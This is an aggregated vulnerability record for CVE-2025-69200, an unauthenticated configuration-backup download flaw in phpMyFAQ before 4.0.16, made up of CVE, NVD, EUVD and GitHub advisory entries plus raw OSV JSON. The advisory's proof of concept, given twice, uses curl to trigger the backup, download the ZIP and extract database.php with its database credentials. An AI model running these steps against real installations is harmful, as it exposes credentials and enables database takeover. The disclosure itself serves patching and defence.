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CVE-2025-69200 (GCVE-0-2025-69200)

Vulnerability from cvelistv5 – Published: 2025-12-29 15:24 – Updated: 2025-12-29 16:14

Previdian

Title

phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Summary

phpMyFAQ is an open source FAQ web application. In versions prior to 4.0.16, an unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise. Version 4.0.16 fixes the issue.

Severity

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

SSVC

Exploitation: poc Automatable: yes Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2025-12-29 16:14 UTC

CWE

CWE-202 - Exposure of Sensitive Information Through Data Queries

Assigner

GitHub_M mitre root Scorecard

References

2 references

URL	Tags
https://github.com/thorsten/phpMyFAQ/security/adv…	x_refsource_CONFIRM
https://github.com/thorsten/phpMyFAQ/commit/b0e99…	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
thorsten	phpMyFAQ	Affected: < 4.0.16

Previdian

Known Exploited Vulnerability - GCVE BCP-07 Compliant

KEV entry ID: c1dd2bbd-ca78-4248-a938-a6011e96ec72

Vulnerability ID: CVE-2025-69200

Status: Confirmed

Status Updated: 2026-01-25 01:00 CET

Exploited: Yes

Timestamps

First Seen: 2026-01-25

Asserted: 2026-01-25

Scope

Evidence

Type: Public Report

Signal: Successful Exploitation

Confidence: 70%

Source: previdian

Details

Feed	Previdian (previdian.com)
Title	phpMyFAQ has unauthenticated config backup download via /api/setup/backup
Cve Id	CVE-2025-69200
Vendor	Thorsten
Ghsa Id	GHSA-9CG9-4H4F-J6FG
Product	phpMyFAQ
Added Date	2026-01-25T00:00:00.000Z
Cvss Score	7.5
Epss Score	0.02141
Previous Ids
Cvss Severity	HIGH
Virtual Patch	False
Cvss Estimated	False
Epss Percentile	0.81378
Used In Malware	unknown
Vulnerability Id	CVE-2025-69200
Ahead Of Cisa Kev	None
Not Yet In Cisa Kev	True

References

Created: 2026-10-02 09:09 CEST | Updated: 2026-10-02 09:09 CEST

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EUVD-2026-264533

European Vulnerability Database identifier assigned by ENISA

Reserved

2026-10-02 07:01

Assigner

ENISA

Alias of

a CVE record, shown under related vulnerabilities. This identifier carries no description, severity or references of its own: they belong to that CVE.

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FKIE_CVE-2025-69200

Vulnerability from fkie_nvd - Published: 2025-12-29 16:15 - Updated: 2026-06-17 10:00

Previdian

Severity

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a	Patch
	security-advisories@github.com	https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg	Exploit, Vendor Advisory

Impacted products

	Vendor	Product	Version
	phpmyfaq	phpmyfaq	*
	phpmyfaq	phpmyfaq	4.1.0

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GHSA-9CG9-4H4F-J6FG

Vulnerability from github – Published: 2025-12-30 15:31 – Updated: 2025-12-30 15:31

Summary

phpMyFAQ has unauthenticated config backup download via /api/setup/backup

Details

Summary

An unauthenticated remote attacker can trigger generation of a configuration backup ZIP via POST /api/setup/backup and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., database.php with database credentials), leading to high-impact information disclosure and potential follow-on compromise.

Details

The endpoint /api/setup/backup is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an “installed version” string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.

Relevant code paths: - Rewrite rule exposing the endpoint: - phpmyfaq/.htaccess: RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA] - Controller implementation: - phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php → backup() - No call to hasValidToken(), userIsAuthenticated(), or any permission check - Backup creation: - phpmyfaq/src/phpMyFAQ/Setup/Update.php → createConfigBackup() - Writes the ZIP into the config directory and returns a public URL under content/core/config/

PoC

Replace BASE_URL with your instance URL.

1) Trigger config backup generation without authentication:

BASE_URL="http://localhost"
curl -i -X POST "${BASE_URL}/api/setup/backup" \
  -H "Content-Type: text/plain" \
  --data "4.1.0-RC"

Expected result: 200 OK with JSON containing backupFile.

2) Copy the backupFile URL from the JSON response and download it (still without authentication):

# Example (replace with the exact URL returned in step 1)
curl -i "http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip" -o phpmyfaq-config-backup.zip

3) Verify sensitive content exists in the ZIP:

unzip -l phpmyfaq-config-backup.zip
unzip -p phpmyfaq-config-backup.zip database.php

Observed: database.php is included and contains DB host/user/password.

Impact

Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.
Who is impacted: Any internet-exposed phpMyFAQ installation where the default .htaccess rewrite rules are active and the endpoint is reachable.
Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

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              "last_affected": "4.1.0-beta.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-69200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-202"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-30T15:31:19Z",
    "nvd_published_at": "2025-12-29T16:15:43Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nAn unauthenticated remote attacker can trigger generation of a configuration backup ZIP via `POST /api/setup/backup` and then download the generated ZIP from a web-accessible location. The ZIP contains sensitive configuration files (e.g., `database.php` with database credentials), leading to high-impact information disclosure and potential follow-on compromise.\n\n### Details\nThe endpoint `/api/setup/backup` is reachable via default rewrite rules and does not enforce authentication/authorization or API token verification. When called with any non-empty body (used as an \u201cinstalled version\u201d string), the server creates a ZIP archive inside the configuration directory and returns a direct URL to the generated ZIP file.\n\nRelevant code paths:\n- Rewrite rule exposing the endpoint:\n  - `phpmyfaq/.htaccess`: `RewriteRule ^api/setup/(check|backup|update-database) api/index.php [L,QSA]`\n- Controller implementation:\n  - `phpmyfaq/src/phpMyFAQ/Controller/Api/SetupController.php` \u2192 `backup()`\n    - No call to `hasValidToken()`, `userIsAuthenticated()`, or any permission check\n- Backup creation:\n  - `phpmyfaq/src/phpMyFAQ/Setup/Update.php` \u2192 `createConfigBackup()`\n    - Writes the ZIP into the config directory and returns a public URL under `content/core/config/`\n\n### PoC\nReplace `BASE_URL` with your instance URL.\n\n1) Trigger config backup generation without authentication:\n\n```bash\nBASE_URL=\"http://localhost\"\ncurl -i -X POST \"${BASE_URL}/api/setup/backup\" \\\n  -H \"Content-Type: text/plain\" \\\n  --data \"4.1.0-RC\"\n```\n\nExpected result: `200 OK` with JSON containing `backupFile`.\n\n2) Copy the `backupFile` URL from the JSON response and download it (still without authentication):\n\n```bash\n# Example (replace with the exact URL returned in step 1)\ncurl -i \"http://localhost/content/core/config/phpmyfaq-config-backup.YYYY-MM-DD.zip\" -o phpmyfaq-config-backup.zip\n```\n\n3) Verify sensitive content exists in the ZIP:\n\n```bash\nunzip -l phpmyfaq-config-backup.zip\nunzip -p phpmyfaq-config-backup.zip database.php\n```\n\nObserved: `database.php` is included and contains DB host/user/password.\n\n### Impact\n- Vulnerability class: Missing authentication/authorization for a sensitive function + sensitive information exposure.\n- Who is impacted: Any internet-exposed phpMyFAQ installation where the default `.htaccess` rewrite rules are active and the endpoint is reachable.\n- Security impact: Disclosure of configuration secrets (DB credentials, integration config, etc.), enabling follow-on attacks such as database takeover and data exfiltration.",
  "id": "GHSA-9cg9-4h4f-j6fg",
  "modified": "2025-12-30T15:31:19Z",
  "published": "2025-12-30T15:31:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9cg9-4h4f-j6fg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-69200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/thorsten/phpMyFAQ/commit/b0e99ee3695152115841cb546d8dce64ceb8c29a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/thorsten/phpMyFAQ"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "phpMyFAQ has unauthenticated config backup download via /api/setup/backup"
}

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CVE-2025-69200 (GCVE-0-2025-69200)

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